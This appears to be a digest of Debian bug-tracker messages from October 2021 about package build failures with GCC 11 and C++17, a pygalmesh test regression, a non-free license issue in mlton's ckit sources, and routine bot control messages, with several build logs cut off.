> > Compiling compact keymaps for sun4...
> > ./kbdcompiler: ckbcomp failed
> > make: *** [debian/rules:68: /<>/sun4.ekmap] Error 2

As additional information: Keyboard/ckbcomp.log says:

[...]
./ckbcomp  -compact -I. -I/usr/share/X11/xkb -rules xorg -model pc105 -layout 
us,th -variant ,tis >linux-keymaps/pc105-th:tis.new 2>>ckbcomp.log
./ckbcomp  -compact -I. -I/usr/share/X11/xkb -rules xorg -model pc105 -layout 
custom -variant  >linux-keymaps/pc105-custom:.new 2>>ckbcomp.log
./ckbcomp: Can not find file "symbols/custom" in any known directory

Samuel

Bug#998156: contains non-DFSG-free files

[Henry Cejtin]

As far as I know, the ckit stuff is just included because it needed
some tweaks to work under MLton.
I don't think that any of "our" stuff depends on it.
I would think that the right solution would be to move it into a
separate package, and that package
would be part of the "non-free" world in Debian.

Matthew: am I correct?

On Sat, Oct 30, 2021 at 10:39 PM Ryan Kavanagh  wrote:
>
> Package: mlton
> Version: 20100608-5.1
> Severity: serious
> Tags: upstream
> X-Debbugs-Cc: r...@debian.org
>
> Since at least oldoldoldstable, the mlton sources have included non-free 
> files.
> In particular, the tarball lib/ckit-lib/ckit.tgz contains the files
> ckit/src/parser/util/error.sml and ckit/src/parser/util/error-sig.sml.  These
> files are:
>
> (*
>  * Copyright (c) 1996 by Satish Chandra, Brad Richards, Mark D. Hill,
>  * James R. Larus, and David A. Wood.
>  *
>  * Teapot is distributed under the following conditions:
>  *
>  * You may make copies of Teapot for your own use and modify those copies.
>  *
>  * All copies of Teapot must retain our names and copyright notice.
>  *
>  * You may not sell Teapot or distributed Teapot in conjunction with a
>  * commercial product or service without the expressed written consent of
>  * the copyright holders.
>  *
>  * THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED
>  * WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
>  * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.
>  *
>  *)
>
> The restriction on distribution in conjunction with a commercial product
> or service is in violation of point 6 of the DFSG.
>
> See also the related bug against SML/NJ:
> https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=998154
>
> -- System Information:
> Debian Release: bookworm/sid
>   APT prefers unstable-debug
>   APT policy: (500, 'unstable-debug'), (500, 'unstable'), (1, 
> 'experimental-debug'), (1, 'experimental')
> Architecture: amd64 (x86_64)
> Foreign Architectures: i386
>
> Kernel: Linux 5.14.0-1-amd64 (SMP w/4 CPU threads)
> Kernel taint flags: TAINT_PROPRIETARY_MODULE, TAINT_OOT_MODULE, 
> TAINT_UNSIGNED_MODULE
> Locale: LANG=en_CA.UTF-8, LC_CTYPE=en_CA.UTF-8 (charmap=UTF-8), LANGUAGE not 
> set
> Shell: /bin/sh linked to /bin/dash
> Init: systemd (via /run/systemd/system)
> LSM: AppArmor: enabled
>
> Versions of packages mlton depends on:
> ii  mlton-compiler  20130715-3
> ii  mlton-doc   20130715-3
> ii  mlton-tools 20130715-3
>
> mlton recommends no packages.
>
> mlton suggests no packages.
>
> -- no debconf information
>
> --
> |)|/  Ryan Kavanagh  | 4E46 9519 ED67 7734 268F
> |\|\  https://rak.ac | BD95 8F7B F8FC 4A11 C97A

Bug#996336: marked as done (pygalmesh: autopkgtest regression on i386)

[Debian Bug Tracking System]

Your message dated Sun, 31 Oct 2021 16:54:29 +
with message-id 
and subject line Bug#996336: fixed in pygalmesh 0.10.5-2
has caused the Debian Bug report #996336,
regarding pygalmesh: autopkgtest regression on i386
to be marked as done.

This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.

(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)


-- 
996336: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=996336
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Source: pygalmesh
Version: 0.10.5-1
Severity: serious

https://ci.debian.net/data/autopkgtest/testing/i386/p/pygalmesh/15928897/log.gz

...
=== FAILURES ===
 test_rectangle 

def test_rectangle():
points = np.array([[0.0, 0.0], [1.0, 0.0], [1.0, 1.0], [0.0, 1.0]])
constraints = [[0, 1], [1, 2], [2, 3], [3, 0]]

mesh = pygalmesh.generate_2d(
points, constraints, max_edge_size=1.0e-1, num_lloyd_steps=10
)

>   assert mesh.points.shape == (276, 2)
E   assert (279, 2) == (276, 2)
E At index 0 diff: 279 != 276
E Use -v to get the full diff

tests/test_2d.py:15: AssertionError
_ test_extrude _

def test_extrude():
p = pygalmesh.Polygon2D([[-0.5, -0.3], [0.5, -0.3], [0.0, 0.5]])
domain = pygalmesh.Extrude(p, [0.0, 0.3, 1.0])
mesh = pygalmesh.generate_mesh(
domain,
max_cell_circumradius=0.1,
max_edge_size_at_feature_edges=0.1,
verbose=False,
)

tol = 1.0e-3
assert abs(max(mesh.points[:, 0]) - 0.5) < tol
assert abs(min(mesh.points[:, 0]) + 0.5) < tol
assert abs(max(mesh.points[:, 1]) - 0.8) < tol
assert abs(min(mesh.points[:, 1]) + 0.3) < tol
# Relax tolerance for debian, see 

assert abs(max(mesh.points[:, 2]) - 1.0) < 1.1e-3
>   assert abs(min(mesh.points[:, 2]) + 0.0) < tol
E   assert 0.0010112326126545668 < 0.001
E+  where 0.0010112326126545668 = abs((-0.0010112326 + 0.0))
E+where -0.0010112326 = min(array([ 0.e+00,  
1.e+00,  0.e+00,  1.e+00,\n0.e+00,  
1.e+00,  0...-01,\n4.62765425e-01,  8.98388922e-02,  
3.73478711e-01,  4.52255577e-01,\n9.99695361e-01], dtype=float32))

tests/test_volume_mesh.py:486: AssertionError
=== short test summary info 
FAILED tests/test_2d.py::test_rectangle - assert (279, 2) == (276, 2)
FAILED tests/test_volume_mesh.py::test_extrude - assert 0.0010112326126545668...
 2 failed, 29 passed in 41.69s =
autopkgtest [21:44:46]: test command1: ---]
autopkgtest [21:44:46]: test command1:  - - - - - - - - - - results - - - - - - 
- - - -
command1 FAIL non-zero exit status 1
--- End Message ---
--- Begin Message ---
Source: pygalmesh
Source-Version: 0.10.5-2
Done: Drew Parsons 

We believe that the bug you reported is fixed in the latest version of
pygalmesh, which is due to be installed in the Debian FTP archive.

A summary of the changes between this version and the previous one is
attached.

Thank you for reporting the bug, which will now be closed.  If you
have further comments please address them to 996...@bugs.debian.org,
and the maintainer will reopen the bug report if appropriate.

Debian distribution maintenance software
pp.
Drew Parsons  (supplier of updated pygalmesh package)

(This message was generated automatically at their request; if you
believe that there is a problem with it please contact the archive
administrators by mailing ftpmas...@ftp-master.debian.org)


-BEGIN PGP SIGNED MESSAGE-
Hash: SHA256

Format: 1.8
Date: Sun, 31 Oct 2021 17:15:26 +0100
Source: pygalmesh
Architecture: source
Version: 0.10.5-2
Distribution: unstable
Urgency: medium
Maintainer: Debian Science Maintainers 

Changed-By: Drew Parsons 
Closes: 996336
Changes:
 pygalmesh (0.10.5-2) unstable; urgency=medium
 .
   * debian/tests skip test_rectangle on i386
 (see https://github.com/nschloe/pygalmesh/issues/170)
   * reinstate debian patch test_relax_tolerance.patch
 for test_extrude on i386. Closes: #996336.
Checksums-Sha1:
 0887374e0f2df2768d795d353fd8106ca3621496 2224 pygalmesh_0.10.5-2.dsc
 3a55595171d89b2051b45384abff2c26d771a7da 4648 pygalmesh_0.10.5-2.debian.tar.xz
Checksums-Sha256:
 

Bug#997128: ceres-solver: FTBFS: dh_auto_test: error: cd obj-x86_64-linux-gnu && make -j4 test ARGS\+=--verbose ARGS\+=-j4 returned exit code 2

[Bastian Germann]

Control: forwarded -1 https://github.com/ceres-solver/ceres-solver/issues/715

On Sat, 23 Oct 2021 20:31:26 +0200 Lucas Nussbaum  wrote:

Source: ceres-solver
Version: 1.14.0-14
Severity: serious
Justification: FTBFS
Tags: bookworm sid ftbfs


This also breaks on the current draft version 2.0.0-1.

Francois, do you want to have a look?

Processed: Re: ceres-solver: FTBFS: dh_auto_test: error: cd obj-x86_64-linux-gnu && make -j4 test ARGS\+=--verbose ARGS\+=-j4 returned exit code 2

[Debian Bug Tracking System]

Processing control commands:

> forwarded -1 https://github.com/ceres-solver/ceres-solver/issues/715
Bug #997128 [src:ceres-solver] ceres-solver: FTBFS: dh_auto_test: error: cd 
obj-x86_64-linux-gnu && make -j4 test ARGS\+=--verbose ARGS\+=-j4 returned exit 
code 2
Set Bug forwarded-to-address to 
'https://github.com/ceres-solver/ceres-solver/issues/715'.

-- 
997128: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=997128
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Bug#998183: mklibs: FTBFS with newer compilers

[Samuel Thibault]

Source: mklibs
Version: 0.1.40
Severity: serious
Justification: FTBFS

Hello,

mklibs currently fails to build in sid:

g++ -DHAVE_CONFIG_H -I. -I../../../src/mklibs-readelf -I../..   -Wdate-time 
-D_FORTIFY_SOURCE=2  -g -O2 -ffile-prefix-map=/build/mklibs-0.1.44.1=. 
-fstack-protector-strong -Wformat -Werror=format-security -c -o elf.o 
../../../src/mklibs-readelf/elf.cpp
In file included from ../../../src/mklibs-readelf/elf_data.hpp:24,
 from ../../../src/mklibs-readelf/elf.cpp:21:
../../../src/mklibs-readelf/elf.hpp:52:56: error: ISO C++17 does not allow 
dynamic exception specifications
   52 |   const section _section(unsigned int i) const throw 
(std::out_of_range) { return *sections.at(i); };
  |^

etc.

Samuel

-- System Information:
Debian Release: bookworm/sid
  APT prefers testing
  APT policy: (990, 'testing'), (500, 'unstable-debug'), (500, 
'testing-debug'), (500, 'stable-security'), (500, 'stable-debug'), (500, 
'proposed-updates-debug'), (500, 'proposed-updates'), (500, 
'oldstable-proposed-updates-debug'), (500, 'oldstable-proposed-updates'), (500, 
'oldoldstable'), (500, 'buildd-unstable'), (500, 'unstable'), (500, 'stable'), 
(500, 'oldstable'), (1, 'experimental-debug'), (1, 'buildd-experimental'), (1, 
'experimental')
Architecture: amd64 (x86_64)
Foreign Architectures: i386

Kernel: Linux 5.14.0-2-amd64 (SMP w/8 CPU threads)
Kernel taint flags: TAINT_OOT_MODULE, TAINT_UNSIGNED_MODULE
Locale: LANG=fr_FR.UTF-8, LC_CTYPE=fr_FR.UTF-8 (charmap=UTF-8), LANGUAGE not set
Shell: /bin/sh linked to /usr/bin/dash
Init: systemd (via /run/systemd/system)
LSM: AppArmor: enabled

Bug#984293: marked as done (plink: ftbfs with GCC-11)

[Debian Bug Tracking System]

Your message dated Sun, 31 Oct 2021 15:49:11 +
with message-id 
and subject line Bug#984293: fixed in plink 1.07+dfsg-4
has caused the Debian Bug report #984293,
regarding plink: ftbfs with GCC-11
to be marked as done.

This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.

(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)


-- 
984293: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=984293
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Package: src:plink
Version: 1.07+dfsg-3
Severity: normal
Tags: sid bookworm
User: debian-...@lists.debian.org
Usertags: ftbfs-gcc-11

[This bug is not targeted to the upcoming bullseye release]

Please keep this issue open in the bug tracker for the package it
was filed for.  If a fix in another package is required, please
file a bug for the other package (or clone), and add a block in this
package. Please keep the issue open until the package can be built in
a follow-up test rebuild.

The package fails to build in a test rebuild on at least amd64 with
gcc-11/g++-11, but succeeds to build with gcc-10/g++-10. The
severity of this report will be raised before the bookworm release,
so nothing has to be done for the bullseye release.

The full build log can be found at:
http://people.debian.org/~doko/logs/20210228/filtered/gcc11/plink_1.07+dfsg-3_unstable_gcc11.log
The last lines of the build log are at the end of this report.

To build with GCC 11, either set CC=gcc-11 CXX=g++-11 explicitly,
or install the gcc, g++, gfortran, ... packages from experimental.

  apt-get -t=experimental install g++ 

Common build failures are new warnings resulting in build failures with
-Werror turned on, or new/dropped symbols in Debian symbols files.
For other C/C++ related build failures see the porting guide at
http://gcc.gnu.org/gcc-11/porting_to.html

GCC 11 defaults to the GNU++17 standard.  If your package installs
header files in /usr/include, please don't work around C++17 issues
by choosing a lower C++ standard for the package build, but fix these
issues to build with the C++17 standard.

[...]
helper.cpp:2959:21: warning: comparison of integer expressions of different 
signedness: ‘std::vector::size_type’ {aka ‘long unsigned int’} and 
‘int’ [-Wsign-compare]
 2959 |   if ( input.size() != P.nl_all )
  |~^~~
helper.cpp: In function ‘std::map, 
std::set > readRange(std::string)’:
helper.cpp:3097:20: warning: unused variable ‘s’ [-Wunused-variable]
 3097 |   set * s;
  |^
helper.cpp: In function ‘void makeScaffold(Plink&)’:
helper.cpp:3324:9: warning: unused variable ‘last’ [-Wunused-variable]
 3324 | int last = -1;
  | ^~~~
helper.cpp:3328:9: warning: unused variable ‘thisChromosome’ [-Wunused-variable]
 3328 | int thisChromosome = P.locus[0]->chr;
  | ^~
helper.cpp:3329:9: warning: unused variable ‘nextChromosome’ [-Wunused-variable]
 3329 | int nextChromosome;
  | ^~
In file included from /usr/include/c++/11/set:60,
 from plink.h:22,
 from helper.h:23,
 from helper.cpp:24:
/usr/include/c++/11/bits/stl_tree.h: In instantiation of ‘static const _Key& 
std::_Rb_tree<_Key, _Val, _KeyOfValue, _Compare, 
_Alloc>::_S_key(std::_Rb_tree<_Key, _Val, _KeyOfValue, _Compare, 
_Alloc>::_Const_Link_type) [with _Key = Locus*; _Val = Locus*; _KeyOfValue = 
std::_Identity; _Compare = std::less; _Alloc = 
std::allocator; std::_Rb_tree<_Key, _Val, _KeyOfValue, _Compare, 
_Alloc>::_Const_Link_type = const std::_Rb_tree_node*]’:
/usr/include/c++/11/bits/stl_tree.h:1903:36:   required from 
‘std::_Rb_tree<_Key, _Val, _KeyOfValue, _Compare, _Alloc>::iterator 
std::_Rb_tree<_Key, _Val, _KeyOfValue, _Compare, 
_Alloc>::_M_lower_bound(std::_Rb_tree<_Key, _Val, _KeyOfValue, _Compare, 
_Alloc>::_Link_type, std::_Rb_tree<_Key, _Val, _KeyOfValue, _Compare, 
_Alloc>::_Base_ptr, const _Key&) [with _Key = Locus*; _Val = Locus*; 
_KeyOfValue = std::_Identity; _Compare = std::less; _Alloc = 
std::allocator; std::_Rb_tree<_Key, _Val, _KeyOfValue, _Compare, 
_Alloc>::iterator = std::_Rb_tree, 
std::less, std::allocator >::iterator; std::_Rb_tree<_Key, 
_Val, _KeyOfValue, _Compare, _Alloc>::_Link_type = std::_Rb_tree_node*; 
std::_Rb_tree<_Key, _Val, _KeyOfValue, _Compare, _Alloc>::_Base_ptr = 
std::_Rb_tree_node_base*]’
/usr/include/c++/11/bits/stl_tree.h:2521:36:   required from 
‘std::_Rb_tree<_Key, _Val, _KeyOfValue, _Compare, _Alloc>::iterator 
std::_Rb_tree<_Key, _Val, _KeyOfValue, _Compare, _Alloc>::find(const _Key&) 
[with _Key = Locus*; _Val = Locus*; _KeyOfValue = std::_Identity; 
_Compare = 

Processed: fixed 997489 in 4.27.1-1

[Debian Bug Tracking System]

Processing commands for cont...@bugs.debian.org:

> fixed 997489 4.27.1-1
Bug #997489 [src:fonttools] fonttools: FTBFS: dh_auto_test: error: pybuild 
--test --test-pytest -i python{version} -p 3.9 returned exit code 13
The source 'fonttools' and version '4.27.1-1' do not appear to match any binary 
packages
Marked as fixed in versions fonttools/4.27.1-1.
> thanks
Stopping processing here.

Please contact me if you need assistance.
-- 
997489: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=997489
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Bug#984293: marked as pending in plink

[Nilesh Patra]

Control: tag -1 pending

Hello,

Bug #984293 in plink reported by you has been fixed in the
Git repository and is awaiting an upload. You can see the commit
message below and you can check the diff of the fix at:

https://salsa.debian.org/med-team/plink/-/commit/d81491dbcd423a1e51f160c3523f897c15f27a59


Add patch to fix FTBFS with gcc-11 (Closes: #984293)


(this message was generated automatically)
-- 
Greetings

https://bugs.debian.org/984293

Processed: Bug#984293 marked as pending in plink

[Debian Bug Tracking System]

Processing control commands:

> tag -1 pending
Bug #984293 [src:plink] plink: ftbfs with GCC-11
Added tag(s) pending.

-- 
984293: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=984293
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Bug#998125: libasound2-plugins: Config file for a52 plugin (60-a52-encoder.conf) produces no/garbled sound via optical digital out (S/PDIF)

[Elimar Riesebieter]

Control: severity -1 normal

Hi Jens,

* Jens Schmidt  [2021-10-30 20:27 +0200]:

> Package: libasound2-plugins
> Version: 1.2.2-2
> Severity: grave
> Justification: renders package unusable

The package is not unusable because of one use case out of many.

> Dear Maintainer,
> 
> * What led up to the situation?
> Fresh Debian 11 install.
> I want to output 5.1 sound via toslink.
> Used KDE settings to switch from analog output to digital out 5.1.
> This produced no or garbled sound and Youtube videos would
> play back way to fast without sound.
> Then I switched to digital out stereo, this worked as expected but only
> stereo.
> 
> I could trace back the error to the shipped config file for alsa's a52
> plugin: 60-a52-encoder.conf.

Well 60-a52-encoder.conf is shipped from upstream. So would you
please report this to alsa-de...@alsa-project.org and keep
998...@bugs.debian.org in Cc: ?

> 
> When I replaced that file with a much simpler one (see below) 5.1
> digital out worked as expedted.

We won't replace your a52.conf with 60-a52-encoder.conf as there are
users who might find the original conf file ok. You can create a
$HOME/.asoundrc with your configuration.

Elimar
-- 
  Never make anything simple and efficient when a way
  can be found to make it complex and wonderful ;-)

Processed: Re: Bug#998125: libasound2-plugins: Config file for a52 plugin (60-a52-encoder.conf) produces no/garbled sound via optical digital out (S/PDIF)

[Debian Bug Tracking System]

Processing control commands:

> severity -1 normal
Bug #998125 [libasound2-plugins] libasound2-plugins: Config file for a52 plugin 
(60-a52-encoder.conf) produces no/garbled sound via optical digital out (S/PDIF)
Severity set to 'normal' from 'grave'

-- 
998125: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=998125
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Bug#984370: marked as done (tvc: ftbfs with GCC-11)

[Debian Bug Tracking System]

Your message dated Sun, 31 Oct 2021 15:22:06 +
with message-id 
and subject line Bug#984370: fixed in tvc 5.0.3+git20151221.80e144e+dfsg-4
has caused the Debian Bug report #984370,
regarding tvc: ftbfs with GCC-11
to be marked as done.

This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.

(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)


-- 
984370: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=984370
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Package: src:tvc
Version: 5.0.3+git20151221.80e144e+dfsg-3
Severity: normal
Tags: sid bookworm
User: debian-...@lists.debian.org
Usertags: ftbfs-gcc-11

[This bug is not targeted to the upcoming bullseye release]

Please keep this issue open in the bug tracker for the package it
was filed for.  If a fix in another package is required, please
file a bug for the other package (or clone), and add a block in this
package. Please keep the issue open until the package can be built in
a follow-up test rebuild.

The package fails to build in a test rebuild on at least amd64 with
gcc-11/g++-11, but succeeds to build with gcc-10/g++-10. The
severity of this report will be raised before the bookworm release,
so nothing has to be done for the bullseye release.

The full build log can be found at:
http://people.debian.org/~doko/logs/20210228/filtered/gcc11/tvc_5.0.3+git20151221.80e144e+dfsg-3_unstable_gcc11.log
The last lines of the build log are at the end of this report.

To build with GCC 11, either set CC=gcc-11 CXX=g++-11 explicitly,
or install the gcc, g++, gfortran, ... packages from experimental.

  apt-get -t=experimental install g++ 

Common build failures are new warnings resulting in build failures with
-Werror turned on, or new/dropped symbols in Debian symbols files.
For other C/C++ related build failures see the porting guide at
http://gcc.gnu.org/gcc-11/porting_to.html

GCC 11 defaults to the GNU++17 standard.  If your package installs
header files in /usr/include, please don't work around C++17 issues
by choosing a lower C++ standard for the package build, but fix these
issues to build with the C++17 standard.

[...]
[ 66%] Building CXX object 
CMakeFiles/tvc.dir/VariantCaller/EnsembleEval/SigmaGenerator.cpp.o
/usr/bin/c++ -DALIGNSTATS_IGNORE -I/<>/external/vcflib 
-I/<>/external/freebayes/src -I/usr/include/jsoncpp 
-I/usr/include/bamtools -I/<>/VariantCaller 
-I/<>/VariantCaller/FlowDistEval 
-I/<>/VariantCaller/EnsembleEval 
-I/<>/VariantCaller/Bookkeeping 
-I/<>/VariantCaller/Reads -I/<>/VariantCaller/Splice 
-I/<>/VariantCaller/Filter -I/<>/realignment 
-I/<>/file-io -I/<>/BaseCaller 
-I/<>/Calibration -I/<>/Util -I/<> -g 
-O2 -ffile-prefix-map=/<>=. -fstack-protector-strong -Wformat 
-Werror=format-security -Wdate-time -D_FORTIFY_SOURCE=2 -msse3 -o 
CMakeFiles/tvc.dir/VariantCaller/EnsembleEval/SigmaGenerator.cpp.o -c 
/<>/VariantCaller/EnsembleEval/SigmaGenerator.cpp
[ 67%] Building CXX object 
CMakeFiles/tvc.dir/VariantCaller/EnsembleEval/SkewGenerator.cpp.o
/usr/bin/c++ -DALIGNSTATS_IGNORE -I/<>/external/vcflib 
-I/<>/external/freebayes/src -I/usr/include/jsoncpp 
-I/usr/include/bamtools -I/<>/VariantCaller 
-I/<>/VariantCaller/FlowDistEval 
-I/<>/VariantCaller/EnsembleEval 
-I/<>/VariantCaller/Bookkeeping 
-I/<>/VariantCaller/Reads -I/<>/VariantCaller/Splice 
-I/<>/VariantCaller/Filter -I/<>/realignment 
-I/<>/file-io -I/<>/BaseCaller 
-I/<>/Calibration -I/<>/Util -I/<> -g 
-O2 -ffile-prefix-map=/<>=. -fstack-protector-strong -Wformat 
-Werror=format-security -Wdate-time -D_FORTIFY_SOURCE=2 -msse3 -o 
CMakeFiles/tvc.dir/VariantCaller/EnsembleEval/SkewGenerator.cpp.o -c 
/<>/VariantCaller/EnsembleEval/SkewGenerator.cpp
[ 69%] Building CXX object 
CMakeFiles/tvc.dir/VariantCaller/EnsembleEval/PosteriorInference.cpp.o
/usr/bin/c++ -DALIGNSTATS_IGNORE -I/<>/external/vcflib 
-I/<>/external/freebayes/src -I/usr/include/jsoncpp 
-I/usr/include/bamtools -I/<>/VariantCaller 
-I/<>/VariantCaller/FlowDistEval 
-I/<>/VariantCaller/EnsembleEval 
-I/<>/VariantCaller/Bookkeeping 
-I/<>/VariantCaller/Reads -I/<>/VariantCaller/Splice 
-I/<>/VariantCaller/Filter -I/<>/realignment 
-I/<>/file-io -I/<>/BaseCaller 
-I/<>/Calibration -I/<>/Util -I/<> -g 
-O2 -ffile-prefix-map=/<>=. -fstack-protector-strong -Wformat 
-Werror=format-security -Wdate-time -D_FORTIFY_SOURCE=2 -msse3 -o 
CMakeFiles/tvc.dir/VariantCaller/EnsembleEval/PosteriorInference.cpp.o -c 
/<>/VariantCaller/EnsembleEval/PosteriorInference.cpp
[ 70%] Building CXX object 
CMakeFiles/tvc.dir/VariantCaller/EnsembleEval/ShortStack.cpp.o
/usr/bin/c++ -DALIGNSTATS_IGNORE -I/<>/external/vcflib 
-I/<>/external/freebayes/src -I/usr/include/jsoncpp 

Processed: Bug#984370 marked as pending in tvc

[Debian Bug Tracking System]

Processing control commands:

> tag -1 pending
Bug #984370 [src:tvc] tvc: ftbfs with GCC-11
Added tag(s) pending.

-- 
984370: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=984370
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Processed: tagging 996152

[Debian Bug Tracking System]

Processing commands for cont...@bugs.debian.org:

> tags 996152 + experimental
Bug #996152 [src:libsemanage] libsemanage: FTBFS: build-dependency not 
installable: secilc (>= 3.2)
Added tag(s) experimental.
> thanks
Stopping processing here.

Please contact me if you need assistance.
-- 
996152: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=996152
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Bug#984370: marked as pending in tvc

[Nilesh Patra]

Control: tag -1 pending

Hello,

Bug #984370 in tvc reported by you has been fixed in the
Git repository and is awaiting an upload. You can see the commit
message below and you can check the diff of the fix at:

https://salsa.debian.org/med-team/tvc/-/commit/9246131486fb4caa01ecb0d996c1936f83f3ea50


Add patch to fix FTBFS with gcc-11 (Closes: #984370)


(this message was generated automatically)
-- 
Greetings

https://bugs.debian.org/984370

Bug#998181: ffcx: replaced by fenics-ffcx

[Sebastian Ramacher]

Source: ffcx
Version: 2019.2.0~git20210122.22ca4c0-2
Severity: serious

The binaries have been taken over by fenics-ffcx and ffcx should be
removed.

Cheers
-- 
Sebastian Ramacher


signature.asc
Description: PGP signature

Bug#998180: basix: no longer builds any binaries

[Sebastian Ramacher]

Source: basix
Version: 0.0.1~git20210122.4f10ef2-2
Severity: serious

The binaries have been taken over by fenics-basix and basix should be
removed.

Cheers
-- 
Sebastian Ramacher

Bug#984334: marked as done (skewer: ftbfs with GCC-11)

[Debian Bug Tracking System]

Your message dated Sun, 31 Oct 2021 14:49:01 +
with message-id 
and subject line Bug#984334: fixed in skewer 0.2.2-6
has caused the Debian Bug report #984334,
regarding skewer: ftbfs with GCC-11
to be marked as done.

This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.

(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)


-- 
984334: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=984334
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Package: src:skewer
Version: 0.2.2-2
Severity: normal
Tags: sid bookworm
User: debian-...@lists.debian.org
Usertags: ftbfs-gcc-11

[This bug is not targeted to the upcoming bullseye release]

Please keep this issue open in the bug tracker for the package it
was filed for.  If a fix in another package is required, please
file a bug for the other package (or clone), and add a block in this
package. Please keep the issue open until the package can be built in
a follow-up test rebuild.

The package fails to build in a test rebuild on at least amd64 with
gcc-11/g++-11, but succeeds to build with gcc-10/g++-10. The
severity of this report will be raised before the bookworm release,
so nothing has to be done for the bullseye release.

The full build log can be found at:
http://people.debian.org/~doko/logs/20210228/filtered/gcc11/skewer_0.2.2-2_unstable_gcc11.log
The last lines of the build log are at the end of this report.

To build with GCC 11, either set CC=gcc-11 CXX=g++-11 explicitly,
or install the gcc, g++, gfortran, ... packages from experimental.

  apt-get -t=experimental install g++ 

Common build failures are new warnings resulting in build failures with
-Werror turned on, or new/dropped symbols in Debian symbols files.
For other C/C++ related build failures see the porting guide at
http://gcc.gnu.org/gcc-11/porting_to.html

GCC 11 defaults to the GNU++17 standard.  If your package installs
header files in /usr/include, please don't work around C++17 issues
by choosing a lower C++ standard for the package build, but fix these
issues to build with the C++17 standard.

[...]
 dpkg-source --before-build .
dpkg-buildpackage: info: host architecture amd64
 debian/rules clean
dh clean
   dh_auto_clean
make -j4 clean
make[1]: Entering directory '/<>'
rm -rf src/main.o src/parameter.o src/matrix.o src/fastq.o skewer
make[1]: Leaving directory '/<>'
   dh_clean
rm -f debian/debhelper-build-stamp
rm -rf debian/.debhelper/
rm -f -- debian/skewer.substvars debian/files
rm -fr -- debian/skewer/ debian/tmp/
find .  \( \( \
\( -path .\*/.git -o -path .\*/.svn -o -path .\*/.bzr -o -path 
.\*/.hg -o -path .\*/CVS -o -path .\*/.pc -o -path .\*/_darcs \) -prune -o 
-type f -a \
\( -name '#*#' -o -name '.*~' -o -name '*~' -o -name DEADJOE \
 -o -name '*.orig' -o -name '*.rej' -o -name '*.bak' \
 -o -name '.*.orig' -o -name .*.rej -o -name '.SUMS' \
 -o -name TAGS -o \( -path '*/.deps/*' -a -name '*.P' \) \
\) -exec rm -f {} + \) -o \
\( -type d -a -name autom4te.cache -prune -exec rm -rf {} + \) 
\)
 debian/rules binary
dh binary
   dh_update_autotools_config
   dh_autoreconf
   dh_auto_configure
   dh_auto_build
make -j4 "INSTALL=install --strip-program=true"
make[1]: Entering directory '/<>'
g++ -Wdate-time -D_FORTIFY_SOURCE=2 -g -O2 -ffile-prefix-map=/<>=. 
-fstack-protector-strong -Wformat -Werror=format-security -O2 -c src/main.cpp 
-o src/main.o
g++ -Wdate-time -D_FORTIFY_SOURCE=2 -g -O2 -ffile-prefix-map=/<>=. 
-fstack-protector-strong -Wformat -Werror=format-security -O2 -c 
src/parameter.cpp -o src/parameter.o
g++ -Wdate-time -D_FORTIFY_SOURCE=2 -g -O2 -ffile-prefix-map=/<>=. 
-fstack-protector-strong -Wformat -Werror=format-security -O2 -c src/matrix.cpp 
-o src/matrix.o
g++ -Wdate-time -D_FORTIFY_SOURCE=2 -g -O2 -ffile-prefix-map=/<>=. 
-fstack-protector-strong -Wformat -Werror=format-security -O2 -c src/fastq.cpp 
-o src/fastq.o
src/fastq.cpp: In function ‘int64 gzsize(const char*)’:
src/fastq.cpp:219:30: warning: ignoring return value of ‘size_t fread(void*, 
size_t, size_t, FILE*)’ declared with attribute ‘warn_unused_result’ 
[-Wunused-result]
  219 | fread(buffer, 1, 4, fp);
  | ~^~
In file included from /usr/include/c++/11/set:60,
 from src/matrix.h:37,
 from src/matrix.cpp:35:
/usr/include/c++/11/bits/stl_tree.h: In instantiation of ‘static const _Key& 
std::_Rb_tree<_Key, _Val, _KeyOfValue, _Compare, 
_Alloc>::_S_key(std::_Rb_tree<_Key, _Val, _KeyOfValue, 

Processed: Bug#997561 marked as pending in golang-github-zclconf-go-cty

[Debian Bug Tracking System]

Processing control commands:

> tag -1 pending
